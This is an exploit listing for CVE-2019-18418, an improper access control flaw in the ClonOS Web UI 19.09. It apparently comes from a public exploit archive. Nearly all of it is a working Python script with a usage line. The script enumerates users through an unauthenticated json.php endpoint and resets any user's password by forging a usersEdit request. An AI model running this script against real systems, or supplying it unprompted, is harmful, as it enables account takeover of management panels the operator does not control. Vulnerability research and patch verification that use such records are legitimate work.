Exploit for ClonOs WEB UI 19.09 Improper Access Control CVE-2019-18418

## https://sploitus.com/exploit?id=PACKETSTORM:154986
# Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control  
# Date: 2019-10-19  
# Exploit Author: İbrahim Hakan Şeker  
# Vendor Homepage: https://clonos.tekroutine.com/  
# Software Link: https://github.com/clonos/control-pane  
# Version: 19.09  
# Tested on: ClonOs  
# CVE : 2019-18418  
  
  
import requests  
from bs4 import BeautifulSoup  
import sys  
  
def getUser(host):  
reg=r'\"'  
r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})  
r1_source = BeautifulSoup(r1.content,"lxml")  
for k in r1_source.findAll("tr"):  
for i in k.findAll("td")[0]:  
print(f"[+]User Found: {i} User id: {k.get('id').replace(reg,'')}")  
def changePassword(host,user,password,id):  
data={  
"mode":"usersEdit",  
"path":"/users/",  
"hash":"",  
"db_path":"",  
"form_data[username]":f"{user}",  
"form_data[password]":f"{password}",  
"form_data[password1]":f"{password}",  
"form_data[first_name]":"",  
"form_data[last_name]":"",  
"form_data[actuser]":"on",  
"form_data[user_id]": int(id)  
}  
r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})  
if r2.status_code==200:print("[+]OK")  
else:print("[-]Fail")  
if __name__=="__main__":  
if len(sys.argv)>1:  
if "getUser" in sys.argv[1]:getUser(sys.argv[2])  
elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])  
else:print("Fail parameter")  
else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]")